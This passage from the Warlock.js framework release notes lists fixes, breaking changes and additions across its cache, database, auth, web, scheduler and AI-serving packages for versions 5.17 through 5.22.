startHttpTestServer()now loads.env.testitself before configuration is read, so a Vitest global setup cannot boot against the development database. - Fixed
warlock addinstalls with the project's package manager: the nearestpackageManagerfield, then apnpm-workspace.yaml, then the nearest lockfile, searched upward so an app inside a workspace uses the workspace's manager. - Fixed
uniqueExceptCurrentUser/uniqueExceptCurrentId/existsExceptCurrentUser/existsExceptCurrentIdonStringValidatornow returnthis, soInfer<>keeps the concrete output type.
- AddedPostgres
naming: "snake_case"(opt-in, default"preserve"): camelCase model keys map to snake_case columns in inserts, updates,where,orderBy,select,groupByand joins, and rows come back camelCase. Table names and raw SQL are left as written. - AddedStatic
Model.whereRaw(expression, bindings?), matching the other static query entry points (Model.query().whereRaw(...)still works). - FixedPostgres
bigint/int8columns (and int8 arrays) come back as numbers when they fit in a safe integer, so a bigint id passesv.number(); larger values stay strings. The parser is installed on Cascade's own pool, not on the globalpg.types. - Fixed
unique()/exists()onStringValidatorandNumberValidatornow returnthis, soInfer<>keeps the concrete output type (wasunknown).
- Added
defineQueueContext()/setQueueContext(): capture ambient state (tenant, request id) atdispatchand restore it around the job handler. The captured value travels in a versioned envelope; jobs without one still run. Exposed asctx.context. Opt a job out withcontext: false. - Added
UnrecoverableJobError: throw it from a handler orrestoreto fail the job permanently (mapped to BullMQ'sUnrecoverableError).
- Added
scheduler.around((job, run) => …)wraps every job callback execution, each retry attempt included, so jobs can run inside a context such asAsyncLocalStorage. Multiple hooks compose with the first registered outermost; the call returns an unsubscribe function. A hook that never callsrunskips the execution and emitsjob:skip(JobResult.skipped/skipReason); a hook that throws follows the normal retry/error path.
- ChangedTemplate schemas and models drop redundant
.required()and non-load-bearingsatisfies, matching the framework skills. - FixedScaffolding inside an existing pnpm workspace no longer writes a nested
pnpm-workspace.yaml; a standalone app still gets one. - FixedPostgres apps get their own database defaults in
.envand.env.example(MongoDB keepsDB_AUTHand port 27017). - FixedThe
gen.*scripts use the registeredwarlock generate.<x>commands. - Fixed
minimumReleaseAgeExcludecovers@warlock.js/*by pattern, so a freshly published family installs without listing versions or unused packages.
- AddedArray validators take
.min(n)/.max(n)for length, like strings and numbers;.minLength()/.maxLength()remain as aliases. - FixedAn omitted optional field skips its mutators, so
v.string().trim().optional()no longer reports a missing field as required.
- RemovedBREAKING:
CookieWriteris removed.setSessionCookies,clearSessionCookies,setAuthCookie,clearAuthCookieandloginWithSessionCookiestake core'sResponse(only itscookieandclearCookie), so a page action'sresponsestill works without a cast. An app helper that was typed asCookieWritercan take{ cookie: (...args: Parameters<Response["cookie"]>) => unknown }instead.
- Added
notificationColumns()now supportsidTypefor UUID, bigint, integer, and string recipient and tenant IDs.
5.22.1September 25, 2026
Installed app corrections. Web resolves page sessions from Core's shared configuration, restoring signed-in loaders, actions, and useUser() in installed apps. Create Warlock loads generated page styles through the app stylesheet so sitemap generation can import page modules in Node. Lockstep corrective release across all 30 packages.
Full release notes or run npx warlock release-notes.
- FixedPage session resolution reads Core's shared config instance, so authenticated loaders, actions, and
useUser()receive the signed-in user in installed apps.
5.22.0September 25, 2026
Page action and session contracts, durable Cascade jobs, and safer AI serving. Web and Auth add action-specific validated input, session-aware page and layout loaders, buffered logout cookie clearing, and a 503 action helper. Cascade restores PostgreSQL TTL purge jobs after reconnect and retries post-commit sync fan-out; Core preserves configured local-storage path prefixes. AI serving adds server-owned sessions, request limits, disconnect cancellation, safer MCP environment handling, unpriced-model budget rejection, and Core-owned SSRF address classification. Sixteen approved Mongez skills-only patches and grouped agent-kit skills are included.
Full release notes or run npx warlock release-notes.
- Fixed
PageConfigacceptsactionandactions(newPageActionConfigtype), soconfig = { action: { validation } } satisfies PageConfigtype-checks. - Fixed
PageActionContext<typeof config.action>typesrequest.validated()from the action's Seal validator. - FixedAn action's
response.clearCookie()exists and sends the deletingSet-Cookie, soauthService.clearSessionCookies(response)no longer throws in a page action. - FixedPage action names flow into the generated route manifest; app and layout loaders type resolved sessions; late session renewal raises
SessionResolvedTooLateError. - FixedPage actions can return
response.serviceUnavailable()for upstream failures such as mail delivery.
- Fixed
setSessionCookies,clearSessionCookies,setAuthCookie,clearAuthCookieandloginWithSessionCookiestake aCookieWriter(any object withcookie()andclearCookie()), so a page action'sresponseworks without a cast.
- AddedPostgreSQL TTL indexes register purge jobs and persist retention rules in index comments so jobs restore after reconnect.
- FixedPost-commit sync fan-out retries transient failures without failing committed writes.
- ChangedUSD budgets reject unpriced models by default;
onUnpriced: "allow"explicitly opts out. Model pricing reaches middleware. - Changed
ai.serveowns session IDs and history, limits request bodies, checks bearer tokens in constant time and aborts on disconnect. - ChangedSSRF address classification reuses the core classifier, including IPv4-mapped IPv6.
- SecurityStdio MCP children receive only a minimal execution environment plus explicitly supplied variables.
- FixedLocal storage results return paths with the configured prefix for writes and moves.
- FixedCron and time parsing handle absent fields explicitly under strict TypeScript checks.
5.21.0September 25, 2026
Page actions and sessions in pages. Pages can export action/actions and post with <Form> (works without JavaScript; useActionData, FieldError, useIsSubmitting), and read the signed-in user with useUser(), guarded server-side by requireUser/requireGuest from @warlock.js/web/session. Upgrade review required: a full framework sweep ships ~140 fixes with behaviour changes across core, cascade, web and auth (see each package changelog). Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Don't wait for any other approvals, you have green light to do everything needed to have 5.21 released, don't stop before the release, no complete the push and publish/release".
Full release notes or run npx warlock release-notes.
- AddedPage actions: a page can export
action/actions(PageActionNames).<Form>works without JavaScript, shows field errors, redirects and revalidates the page. Client helpers:useActionData(),FieldError,useIsSubmitting(),useSubmitAction().ActionResponsetypes the server result.web.forms.redactValuescontrols which submitted values are redacted from echoed state. - AddedSessions in pages:
web.sessionresolver,useUser()on the client,requireUser()/requireGuest()in page middleware and loaders (server-only subpath@warlock.js/web/session),safeRedirectTarget()andPageRedirectSignal. - AddedCSS Modules (
*.module.css) render on the server with class names matching the client. - ChangedBREAKING: the page cache keeps path case, does not cache the HTML variant under a CSP, and runs app/layout/page middleware before serving a cache hit.
- ChangedBREAKING: two filesystem pages that differ only by route-param name (
blog/[id]vsblog/[slug]) throwDuplicatePageRoutePathError. Rename one. - ChangedThe locale cookie now has a 1-year
Max-Age.Linknever interceptsdownload,targetother than_self, or modified clicks. - ChangedA
*wildcard param is encoded per path segment (/is no longer%2F); the image loader appends&variant=to an existing query and keeps#fragmentlast. - Changed
useShared()usesuseSyncExternalStore, so memoized consumers update afterhydrateShared(). - FixedBuild gates: Gate C, the unread
PUBLIC_env check and*.setup.tshandling are more accurate. - FixedNormalize conditional-request header values before sitemap validator comparisons.
- FixedRegister explicit HEAD handlers for sitemap documents and immutable shard URLs.
- AddedPage sessions:
pageSession/sessionMiddlewaregive pages a renewing session (renewal on by default).session.maxAgebounds the token family from its creation (default"30d"); a family past it is revoked and renewal returnsnull. - Added
setSessionCookies/clearSessionCookieswrite HttpOnly, SameSite=Lax,Path=/cookies, ignoringauth.cookie.path.authService.loginWithSessionCookies()logs in and sets them. - Added
resolveRequestUsermemoizes onrequest.locals.session: repeat or concurrent callers in one request share a single verify, DB lookup and renewal (the first caller's options win). - ChangedBREAKING:
loginWithSessionCookies()requires a same-originOrigin/Referereven with no cookies, otherwise it throwsCsrfOriginMismatchError. Send the header from non-browser clients. - ChangedBREAKING:
authMiddlewaretakes an ordered header/cookiesourceslist; a present Authorization header always wins and never falls back to the cookie, so an invalid header now returns401. - ChangedJWTs carry a random
jti, so tokens issued in the same second differ.
- Added
app.shutdownTimeout(default 10s) — an overall shutdown budget. HTTP stops accepting and drains first, then the other connectors stop in reverse priority; if the budget runs out, the hung connector is logged and the process exits with code 1. In shared mode, closing socket.io no longer closes the Fastify server. - Added
putFromPath(localPath, storagePath)on storage — uploads a local file by path. - ChangedBREAKING:
put(string)now always stores the string as content. To upload a local file, useputFromPath(). - ChangedBREAKING: multipart limit violations now respond
413. - ChangedBREAKING:
hmacKeyis validated — a non-hex key throws instead of silently hashing with an empty key. Set a hexencryption.hmacKey. - ChangedBREAKING:
DatabaseLogModelfields are nowmodule/action/content/stack/date; legacymessage/traceare still read. Update any code that queries the old fields directly. - ChangedBREAKING: SMTP
securenow defaults from the port (465 → implicit TLS) when not set explicitly. - ChangedBREAKING: the page cache keeps the request path's case, and the HTML variant is not cached under a CSP. Middleware (app, layout, page) now runs before a page-cache hit is served.
- ChangedBREAKING:
list(request.all())honours only a whitelist of control keys, andexists()defaults to the primary key. Pass an explicit column if you relied on another one. - ChangedBREAKING:
Restfulsaves validated data only — fields missing from the validation schema are dropped. Add them to the schema if they must be persisted. - ChangedBREAKING: mail mode defaults to
"development"(log/preview, no real send) outside production, unlessmail.sendInDevelopment === trueorsetMailModewas called. - ChangedBREAKING: unhandled request errors no longer print via
console.error; they reach configured logger channels only. Configure a channel to keep that visibility. - ChangedLogger
enabled: false(top-level or per-environment) now silences the channel, and thetestenvironment block is honoured. - Changed
generate.modelmigration naming is corrected,--with-resourcealso creates the resource file, andgen.migrationrefuses to run when the target model file is missing. - Changed
warlock <cmd> -vreaches the command instead of printing the version;--helpalways rescans plugin and project commands. Resolved CLIoption.nameis always camelCase. - Changed
image.fromUrl()throwsStorageErrorfor private/reserved hosts, disallowed schemes and oversized (>50MiB) or slow (>30s) bodies. - ChangedRoutes with
rateLimit.errorMessagereturn that message on429. The upload default prefix format is nowDD-MM-YYYY-HH-mm-ss. - Changed
flushPendingCookiesthrows instead of silently dropping cookies when the parked-cookie symbol is missing. Laterbootstrap()calls no longer re-register the unhandled-rejection listener. - FixedThe dev health checker now lints projects using
eslint.config.ts/.mts/.cts. - FixedAn explicit
HEADroute now takes precedence over Fastify's automatic HEAD registration for aGETroute at the same path. GET-only routes retain Fastify's implicit HEAD behavior.
- AddedMigration locks: a migration run takes a lock for its whole duration (Postgres advisory lock
warlock:migrations; MongoDB lock document with a 10-minute TTL). A held lock is waited on for up to 60s, then the run throws naming the holder. - ChangedBREAKING:
Model.delete()with no filter throws instead of deleting everything. Pass a filter. - ChangedBREAKING: migrations run in authored order;
orderis the primary sort key, so a migration with a non-zeroorderchanges run/rollback order. Multi-batch rollback sorts batch DESC, thencreatedAtDESC, andexport .down.sqlorders newest-first.transactional: falseanddataSourceare now honoured. - ChangedBREAKING: dry runs (
--sql,export-sql,runAll({ dryRun })) write nothing — noup()/down()side effects and no recording. - ChangedBREAKING:
isDefaultapplies only to the first data source. - ChangedBREAKING: model events are emitted under both the class name and the table name (
model.<table>.updated, ormodel.<dataSource>:<table>.updated). Listeners on either name work. - ChangedBREAKING: a unique-constraint violation on insert/update (pg
23505, mongo11000) throwsDatabaseWriterValidationError(a field error) instead of a raw driver error. Theuniquerule excludes the model's own row on update. - ChangedBREAKING:
unique/exists/databaseModels/embed rules with an unregistered string model name throw a descriptive error ("did you forget@RegisterModel()?").exists()defaults to the primary key, anduuidalways returns a string. - ChangedBREAKING: sync runs after commit and logs failures as
sync.failed; multi-level sync (.maxDepth()) is removed. - ChangedMongo:
orderByRaw()/cursor()throw instead of being ignored,raw()throws a "SQL only" error,whereDate/whereBefore/whereAfteruse UTC day boundaries, and transaction callbacks may run more than once (retried on transient errors). - Changed
defineModelno longer overrides base-classstrictMode/autoGenerateIdunless supplied. Validation no longer callsconsole.trace. - FixedPostgres driver:
whereLikewith a RegExp (~*/!~*),count()/exists()honourhas/whereHas, joins andgroupBy/distinct, andwhereJsonContainsbinds a parameter. - FixedMigrations:
.index()/.unique()/.vectorIndex()insideMigration.altermodifynow create the index, andrandomIncrementtakes effect. - FixedMongo: replica-set detection runs
helloonce per driver.
5.20.0September 24, 2026
Cache compatibility changes require an upgrade review: cached() auto-keys, flat memory keys, finite ownership-safe locks, Redis FLUSHDB, tokenized stored lock values, and numeric TTL normalization all change observable behavior. @warlock.js/web adds generated named-route types and managed sitemap generations; Core, Cache, Cascade, Auth, Scheduler, and Socket.IO add safer multi-instance boundaries. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Go with rec, and tell me whether we should move the matrix run from my machine to Github instead and I report back with failures or keep it on my machine?".
Full release notes or run npx warlock release-notes.
- AddedAtomic
increment/decrement,pullandupdate, with a per-driver guarantee: - AddedTag index primitives on the driver contract:
tagAdd,tagMembers,tagRemove. Redis uses a native SET inside the prefix (a legacy JSON index is upgraded on first touch), Postgres a one-statement JSON-array merge on the index row, and the in-memory drivers a separate store that eviction and expiry never touch.fileandnullkeep the serialized fallback.invalidate()deletes exactly the members it read, writes prune up to 20 dead members,remove()/pull()detach the key, and taggedincrement/pulluse the atomic ops. - Added
PgCacheDriver.prune(limit = 1000)deletes expired rows in batches and returns the count.set()also runs it in the background on about 1 in 200 writes, so unique-key workloads no longer grow the table forever. - Added
lock()successor-safe release (see Fixed). There is no renewal, so the TTL must exceed the worst-case duration of the locked work. - Fixed
lock()no longer deletes a successor's lock after its own TTL expired. Release is an ownership-checked compare-and-delete (atomic on the memory, Redis and Postgres drivers), so a slow holder can't free a lock that another caller has since acquired. - FixedA failing lock release (for example a Redis blip) no longer replaces
fn's result or error. It is logged, so callers no longer retry a job that had already succeeded. - FixedTwo concurrent
lock()calls in one process could both acquire the lock on the memory, mock and file drivers.onConflict: "create"is now a synchronous check-and-insert on memory and an exclusive create on file. - FixedRedis
flush()without a prefix no longer wipes every database on the server (queues, sessions, other apps). - FixedRedis
removeNamespace("users")also deletedusers2.*andusersettings.*, and flushing tenantappalso deletedapp2.*andapple.*. It now matchesnsandns.*only, in batchedUNLINKcalls rather than one giantDEL. - FixedRedis 5
scanIterator()batches keys per cursor response.removeNamespace()now flattens those batches before deleting them, while retaining compatibility with older clients that yield one key at a time. - FixedRedis SWR metadata now lives inside the namespace, so
flush()clears it, and a plainsetclears it, so a stalestaleAtno longer poisons later reads. - FixedA failed Redis
connect()is rethrown and can be retried; it used to be logged, swallowed and never retried. - Fixed
increment()/decrement()dropped the key's TTL on non-Redis drivers, so rate-limit counters could become permanent and block an IP forever. The remaining TTL is now kept. - Fixed
pull()could hand a one-time token to two concurrent requests, andupdate()lost increments across servers (the login throttle and AI budget counters were looser by N×). Both are atomic where the driver allows; see Added. - Fixed
remember()recomputed on every call for0,falseand"". Onlynullis a miss now. - Fixed
remember,swrandupdateshared one in-flight map:remember()could return an SWR refresh'sundefined, and aremember()could break anupdate()chain. Each now has its own map.swr()also single-flights a cold miss. - FixedWith the
nulldriver,remember("user.1")andremember("user.2")ran concurrently and returned user 1's data for user 2. The null driver keeps real keys now. - Fixed
cached().invalidate()ignoredconfig.driverand left stale data on the custom driver. Auto-keys no longer fold punctuation, soprofile("1.private", "")andprofile("1", "private"), or{ q: "x" }and("q", "x"), no longer share an entry (request-controlled args could reach another caller's cache entry). - FixedMemory
maxSizecounted top-level namespaces, so dotted keys cascaded evictions that wiped the whole cache, and with aglobalPrefixit never evicted at all. It counts entries now, in LRU order. - FixedThe memory sweep scanned every key every second, and a stale timer record could delete a newer permanent value. Only finite-TTL entries are swept.
- FixedThe memory, LRU and mock drivers stored objects by reference, so a caller mutating a value corrupted the cache. Values are cloned on write.
- Fixed
memoryExtendedslidexpiresAtbefore checking expiry, so expired entries came back and failedlock()attempts extended the holder's lock forever. Expiry is checked first. - FixedFile driver: writes are atomic (temp file + rename), and a corrupt or half-written file is a miss instead of deleting the key directory (a reader used to delete the entry being written). An empty key is rejected; it used to resolve to the cache root, so
remove()wiped the whole cache directory. - Fixed
cache.list().trim(start, -1)emptied the list, sotrim(-50, -1)("keep the last 50") deleted everything.trimis LTRIM-inclusive now, and list operations keep the key's TTL. - Fixed
ScopedCache.update()/merge()reset a session's remaining TTL on every call. They keep it. - FixedConcurrent first use of a driver created duplicate clients and leaked sockets. The manager runs a single in-flight load per driver, and
disconnect()closes every loaded driver, not only the current one (shutdown used to hang or leak). - FixedPostgres set
expires_atfrom the app clock but compared against the DBnow(), so clock skew shifted TTLs and locks could be born expired. Expiry is computed on the DB clock. - FixedLazy expiry deleted
prefix.prefix.keywhen aglobalPrefixwas set, so expired entries lingered. It re-parsed the key and didn't await the delete. - FixedConcurrent tagged writes dropped keys from the tag index, so
tags().invalidate()left stale entries, and the index grew forever. The index is now a set primitive that is never lost and is pruned, and LRU capacity or memorymaxSizecan no longer evict it.
- AddedDevelopment and production publish generated page and named-API route declarations to
.warlock/typings/web-routes.d.ts.href,Link, client navigation, anduseSubmitFormuse those declarations when present while retaining runtime validation before they have been generated. - AddedPublic
PageLoaderContext,LayoutLoaderContext,AppLoaderContext, andWebConfigurationstype exports. - AddedManaged sitemaps: durable generation manifests, optional shared storage, model-driven invalidation after a Cascade transaction commits, conditional HTTP responses, and immutable generation shard URLs. Requests serve the last published generation and never generate an XML document themselves.
- ChangedRefined grouped skill discovery guidance for routes, loaders, form submission, and sitemap generation.
- Added
SitemapEntry.imagesemits the Google image sitemap extension, validates absolute HTTP(S) image URLs, and limits each URL to 1,000 images with a caller-visible diagnostic. - Added
SitemapIndexOptions.shardPathPrefixcontrols public shard links in an index without changing the files written bysaveTo(). - ChangedRefined grouped skill discovery guidance and regenerated package llms projections.
- AddedProduction build contributions receive a fresh registration-only
ConnectorBuildContext.namedApiRoutessnapshot when Web is configured. It contains only named APIname,path, andmethodrecords, never handlers, middleware, schemas, or source paths. - Added
storage.putIfAbsent(file, location, options?)andstorage.supportsPutIfAbsent()— an atomic create-only write. Returns theStorageFile, ornullwhen something already exists atlocation. Unlikeput, a string argument is content, not a path. Local driver writes a temp file then hard-links it; S3/R2 sendIf-None-Match: *. DigitalOcean Spaces does not expose it. Drivers without it throwStorageCapabilityError. - Added
http.rateLimitnow passes@fastify/rate-limitoptions through (redisfor a store shared across servers,nameSpace,keyGenerator,allowList, ...).http.rateLimit.enabled: falseturns the global limiter off. The per-routemiddleware.rateLimit()stays in-process. - Added
socket.adapter— an adapter factory (e.g.@socket.io/redis-adapter) applied viaio.adapter()for broadcasting across servers. Polling clients need sticky sessions. - AddedProduction single-server warnings, once at boot, when the default cache driver is in-memory, the default storage driver is local, or sockets have no
socket.adapter. Silence withcache.silenceSingleServerWarning,storage.silenceSingleServerWarning,socket.silenceSingleServerWarning. - Added
middleware.idempotency({ reservationTtl })(alsohttp.idempotency.reservationTtl, default60seconds) — how long the in-flight reservation lives. - AddedDocs: "Running on multiple servers" guide.
- ChangedRefined connector build guidance and grouped skill discovery.
- Changed
middleware.idempotency()reserves the key (create-only) before the handler runs. A concurrent duplicate now gets 409 +Retry-Afterinstead of running twice. A 5xx response frees the key so the client can retry. If the cache is down the middleware fails open. - FixedThe repository cache is also cleared after the DB transaction commits (cascade
afterCommit), fixing stale reads when a concurrent read re-cached the old row between the model event andCOMMIT.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedWeb starter loaders use named functions and public loader-context types while retaining inferred return types in paired setup modules.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed
loginThrottleMiddlewarenow counts failures with an atomiccache.increment. The first failure opens the window with a create-onlycache.setcarrying the TTL, so counts are exact across servers on the redis/pg cache drivers (concurrent failures are no longer lost to a read-modify-write). Thresholds, window and lockout behaviour are unchanged. The memory cache driver is per-process, so counts there are per-process too.
- Added
afterCommit(fn)— run a side effect only once the transaction has committed. Inside a transaction,fnis queued and runs after the outermost COMMIT (in order, awaited one by one); it is discarded on rollback or a failed COMMIT. Outside a transaction, it runs on the next microtask. Errors are logged and never change the transaction result. Use it in model event listeners (saved,created, ...) for cache clears, sitemap regeneration and emails.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Added
job.onOneServer({ lockTtl?, key? })— run each tick on exactly one server. Every server races for a create-only, TTL-bounded cache claim keyedscheduler.<key ?? name>.<scheduledTickEpochMs>. The claim is never released, so exactly one server runs each tick even if another server's timer fires late. Losers skip the tick and emitjob:skip. Requires a shared cache driver (redis/pg) and a job name orkey.@warlock.js/cacheis an optional peer dependency. Default claim TTL ismin(interval, 1h)with a 60s floor (1h for cron jobs).
- ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
5.19.1September 24, 2026
@warlock.js/web fixes paired setup-module register projection in development SSR while preserving server-only setup exports. create-warlock now prompts API and full-stack presets for a database choice and supports an explicit AI opt-out.
Full release notes or run npx warlock release-notes.
- FixedDevelopment SSR retains the framework-projected
register()hook for a paired setup module when the UI references its loader only withimport type, without exposing server-only setup exports or requiring a UI value import.
- ChangedThe default interactive scaffold flow now asks for a database after the API-only/full-stack choice unless
--dbor--no-dbalready answered it; the same selector includes None for a database-free app. Customize's AI multiselect now offers None last, treats it alone like an empty selection, and asks again when it is combined with an AI provider or capability.
- FixedCorrected the Cascade and Core links in the overview skill.
5.19.0September 23, 2026
@warlock.js/auth makes refresh/logout token families durable across concurrent requests; @warlock.js/web adds optional paired setup modules and useSubmitForm() for named API routes. Core exposes named API metadata, skills document the new supported flows, and Create Warlock approves only the selected image feature's Sharp native build while reporting JWT generation skipped after a failed install.
Full release notes or run npx warlock release-notes.
- Added
authMiddleware()now usesauth.defaultUserType(or the sole configured user type), and the object overload accepts{ source, key, optional, refresh, redirect }. A page-localredirectchanges only page-route authentication failures; APIs retain401. LegacyauthMiddleware(userType, "header" | "cookie:name")calls remain supported. - AddedDurable token families: token pairs associate access and refresh rows with
AuthTokenFamily; family revoke atomically stamps the family, revokes its refresh rows, and removes its associated access rows. During the additive upgrade, unassociated legacy access rows are revoked conservatively only for the same user and type. RegisterauthMigrationsand run pending migrations. - AddedAutomatic cookie renewal is opt-in through the middleware
refreshdescriptor. The finalized coordinator permits only an exact, immediately active successor pair during a bounded duplicate window (default five seconds; configurable from zero through ten seconds). It does not broaden legacyauthService.refreshTokensreplay behavior. A duplicate within that window is tolerated deliberately; after it, old-token reuse remains a replay and revokes the family. Family logout makes late cookies unusable. This does not claim to solve arbitrary out-of-order HTTP cookie delivery. - ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- FixedRefresh attempts emit token notifications after their owned transaction commits, discarding notifications from rolled-back retries.
- FixedIssuing into an explicitly reused token family now shares its durable revocation boundary, preventing credentials from being written after concurrent logout.
- AddedOptional paired
*.setup.tsmodules for pages, layouts, root, and the error boundary. Server setup composes with the UI component, projects saferegister()behavior to both runtimes, preserves type-only loader inference, rejects duplicate exports, and is watched during development. - Added
useSubmitFormfrom the optional@warlock.js/web/formentry submits an existing@mongez/react-formthrough the configured HTTP singleton or an injected client. It resolves named API route metadata before hydration, supports direct paths, FormData, cancellation, lifecycle callbacks, and validation-error mapping without exposing server handlers or policy. - ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- Added
router.getNamedApiRoutes()returns fresh frozen browser-safe snapshots of registered named API routes (name,path,method). It excludes pages, handlers, middleware, schemas, and source paths;allremains visible as metadata so a browser consumer can require an explicit request method. - ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedThe default Web starter now keeps root, page, and not-found server exports in paired
*.setup.tsmodules. Components remain presentation-only and import the home loader type-only, while the setup module retains the universal localizationregister()projection. - ChangedPNPM image scaffolds approve only Sharp's required native build in the generated
pnpm-workspace.yamlbefore installing the selected feature. An existing explicit denial is preserved. If selected feature dependencies fail to install, JWT generation is reported as skipped instead of retrying through the package manager.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
- ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
5.18.0September 23, 2026
@warlock.js/web adds shared root/layout/page metadata with consistent SSR and client-navigation titles, plus useIsNavigating() for router-owned pending state. Development SSR reuses Core-owned models and their reload/removal notifications; initial sitemap generation now waits for database initialization so warlock doctor remains registration-only.
Full release notes or run npx warlock release-notes.
- AddedPages, layouts, and
root.tsxnow share typed static or server-only callback metadata. Titles accept a string,{ default?, template? }, or{ absolute }; resolution produces the same string title for SSR and client navigation while composing metadata from page through layouts to root. - Added
useIsNavigating()exposes router-owned pending state for client navigation, refreshes, and locale changes. It is safe during SSR and replaces event-based guesses for reactive loading indicators. - FixedDevelopment SSR reuses models already loaded by Core, including their named and default exports. Core reload and removal notifications invalidate the corresponding SSR modules while client import checks remain in place.
- FixedInitial sitemap generation now runs during connector startup, after database initialization. Registration-only commands such as
warlock doctorregister sitemap routes without invoking suppliers that require a database connection.
- FixedDevelopment model loading now shares model ownership and reload notifications with Web's SSR adapter, allowing pages to reuse the same model constructors as Core instead of registering a second copy.
5.17.1September 22, 2026
@warlock.js/core now completes initial typings generation before background health checking and preserves configured declaration roots; @warlock.js/web fixes development page projection with binding-aware import liveness. Public APIs are unchanged.
Full release notes or run npx warlock release-notes.
- Fixed
@warlock.js/webfixes page projection to resolve import references by lexical binding after server configuration is removed. A component-localt = useTrans()no longer retains an unrelated metadata-only Core import in the client view. - FixedDevelopment startup now completes initial typings generation before it starts health checking, so the checker receives the generated declaration roots. Health checking remains background work and does not delay connector readiness.
- FixedThe health checker preserves declaration roots already included by the project's tsconfig.
- FixedPage projection now resolves import references by lexical binding after removing server configuration. A component-local variable such as
const t = useTrans()no longer keeps an unrelated metadata-only Core import in the client view and causes development rendering to fail; genuine runtime references remain intact.
5.17.0September 22, 2026
@warlock.js/web moves page, layout, and root server policy into one direct config export (BREAKING): PageConfig, LayoutConfig, and RootConfig keep route/cache/prefix/strict-mode policy together while loaders, registration, named error boundaries, and components remain separate. Web adds route-scoped locales.json translations, typed keys, useChangeLocaleCode(), and locale-aware navigation, sitemap, and robots behavior; new scaffolds enable root strictMode. @warlock.js/core and Web require @mongez/localization 3.5.0 for scoped translation lookup. Generator matrix ran subset scope (web, sitemap rows); Hasan authorised the release on 2026-09-21: "Go with your rec".
Full release notes or run npx warlock release-notes.
- FixedLocale switches under the default URL strategy use a provisional data request: a failed or superseded navigation cannot persist its locale, including on page-cache hits. The successful current navigation commits a host-only locale preference with its tree. Invalid preferences fall through to the legacy locale cookie and normal locale resolution; an explicit
response.setLocale()clears the preference before setting its authoritative cookie. - FixedPage-cache keys include the route translation snapshot revision. If a request's final locale snapshot differs from the one used for lookup, the response is not stored under the earlier key.
- FixedA client disconnecting mid-stream no longer logs an SSR render error or reaches
web.errors.report(). The stream now aborts with a recognisable reason instead of none, so it stops being mistaken for a genuine render failure. - Fixed
changeLocaleCode()now correctsdocument.documentElement'slang/diritself, synchronously, before its returned promise resolves — under an activeweb.localeRouting.strategy(thepushStatepath) as well as the?locale=path. Before, onlyNavigationRoot's own effect did this correction, on React's next commit, which runs afterchangeLocaleCode()had already resolved; a caller readingdocument.documentElementright afterawait changeLocaleCode("ar")could still see the stale locale'slang/dir. - Fixed
